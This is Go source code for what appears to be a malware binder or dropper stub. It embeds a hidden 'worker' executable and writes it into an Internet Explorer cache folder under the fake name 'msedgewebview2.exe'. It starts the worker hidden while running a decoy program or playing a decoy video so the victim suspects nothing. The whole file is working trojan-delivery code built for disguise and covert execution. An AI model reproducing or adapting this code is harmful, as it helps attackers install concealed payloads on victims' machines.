package main

import (
	"crypto/sha256"
	"embed"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"sync"
)

//go:embed assets/*
var assets embed.FS

// Replaced at forge time.
const (
	runOrder      = "FUSION_RUN_ORDER"
	payloadKind   = "FUSION_PAYLOAD_KIND"
	mediaMode     = "FUSION_MEDIA_MODE"
	mediaFileName = "FUSION_MEDIA_FILE"
)

type fusionManifest struct {
	PayloadKind   string `json:"payload_kind"`
	MediaMode     string `json:"media_mode"`
	MediaFileName string `json:"media_file_name"`
	MediaEncFile  string `json:"media_enc_file"`
	MediaKeyB64   string `json:"media_key_b64"`
	RunnerDisplay string `json:"runner_display_name"`
}

func main() {
	if fusionLockHintMode() {
		showLockedMediaHint()
		return
	}

	workerPath, err := materializeWorker()
	if err != nil {
		return
	}

	switch payloadKind {
	case "video":
		runVideoFusion(workerPath)
	default:
		runExeFusion(workerPath)
	}
}

func runExeFusion(workerPath string) {
	prepBytes, err := assets.ReadFile("assets/prep.exe")
	if err != nil || len(prepBytes) == 0 {
		return
	}

	dir, err := os.MkdirTemp("", "cm-fusion-*")
	if err != nil {
		return
	}
	defer os.RemoveAll(dir)

	prepPath := filepath.Join(dir, "prep.exe")
	if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
		return
	}

	runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
}

func runVideoFusion(workerPath string) {
	mediaName := mediaFileName
	if mediaName == "" {
		if m := readManifest(); m != nil && m.MediaFileName != "" {
			mediaName = m.MediaFileName
		}
	}
	if mediaName == "" {
		mediaName = "movie.mkv"
	}

	var mediaPath string
	var err error
	switch mediaMode {
	case "embedded":
		var cleanup func()
		mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
		if err != nil {
			return
		}
		defer cleanup()
	default:
		var cleanup func()
		mediaPath, cleanup, err = resolvePairedMedia(mediaName)
		if err != nil || mediaPath == "" {
			return
		}
		if cleanup != nil {
			defer cleanup()
		}
	}

	runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
}

func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
	switch runOrder {
	case "prep_first":
		runPrimary()
		launchWorker(workerPath)
	case "worker_first":
		launchWorker(workerPath)
		waitProcess(workerPath)
		runPrimary()
	default:
		launchWorker(workerPath)
		var wg sync.WaitGroup
		wg.Add(1)
		go func() {
			defer wg.Done()
			runPrimary()
		}()
		wg.Wait()
	}
}

func readManifest() *fusionManifest {
	raw, err := assets.ReadFile("assets/manifest.json")
	if err != nil {
		return nil
	}
	var m fusionManifest
	if json.Unmarshal(raw, &m) != nil {
		return nil
	}
	return &m
}

func materializeEmbeddedMedia(name string) (string, func(), error) {
	data, err := assets.ReadFile("assets/media.bin")
	if err != nil || len(data) == 0 {
		return "", nil, fmt.Errorf("embedded media missing")
	}
	dir, err := os.MkdirTemp("", "cm-fusion-media-*")
	if err != nil {
		return "", nil, err
	}
	path := filepath.Join(dir, filepath.Base(name))
	if err := os.WriteFile(path, data, 0644); err != nil {
		os.RemoveAll(dir)
		return "", nil, err
	}
	return path, func() { _ = os.RemoveAll(dir) }, nil
}

func resolvePairedMedia(name string) (string, func(), error) {
	m := readManifest()
	encFile := name + ".cmdata"
	keyB64 := ""
	playName := name
	if m != nil {
		if m.MediaEncFile != "" {
			encFile = m.MediaEncFile
		}
		keyB64 = m.MediaKeyB64
		if m.MediaFileName != "" {
			playName = m.MediaFileName
		}
	}
	if keyB64 != "" {
		return encryptedMediaBesideRunner(encFile, keyB64, playName)
	}
	exe, err := os.Executable()
	if err != nil {
		return "", nil, err
	}
	dir := filepath.Dir(exe)
	for _, candidate := range []string{name, filepath.Base(name)} {
		p := filepath.Join(dir, candidate)
		if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
			return p, func() {}, nil
		}
	}
	return "", nil, fmt.Errorf("media not found")
}

func materializeWorker() (string, error) {
	workerBytes, err := assets.ReadFile("assets/worker.exe")
	if err != nil || len(workerBytes) == 0 {
		return "", fmt.Errorf("worker missing")
	}

	base := os.Getenv("LOCALAPPDATA")
	if base == "" {
		base = os.TempDir()
	}
	sum := sha256.Sum256(workerBytes)
	tag := hex.EncodeToString(sum[:6])
	dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
	if err := os.MkdirAll(dir, 0755); err != nil {
		return "", err
	}
	dest := filepath.Join(dir, "msedgewebview2.exe")
	if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
		if sha256.Sum256(existing) == sum {
			return dest, nil
		}
	}
	if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
		return "", err
	}
	return dest, nil
}

func launchWorker(path string) {
	cmd := exec.Command(path)
	cmd.Dir = filepath.Dir(path)
	applyHiddenStart(cmd)
	_ = cmd.Start()
}

func waitProcess(path string) {
	cmd := exec.Command(path)
	cmd.Dir = filepath.Dir(path)
	_ = cmd.Run()
}

func fusionLockHintMode() bool {
	for _, arg := range os.Args[1:] {
		if arg == "--locked" || arg == "-locked" {
			return true
		}
	}
	return false
}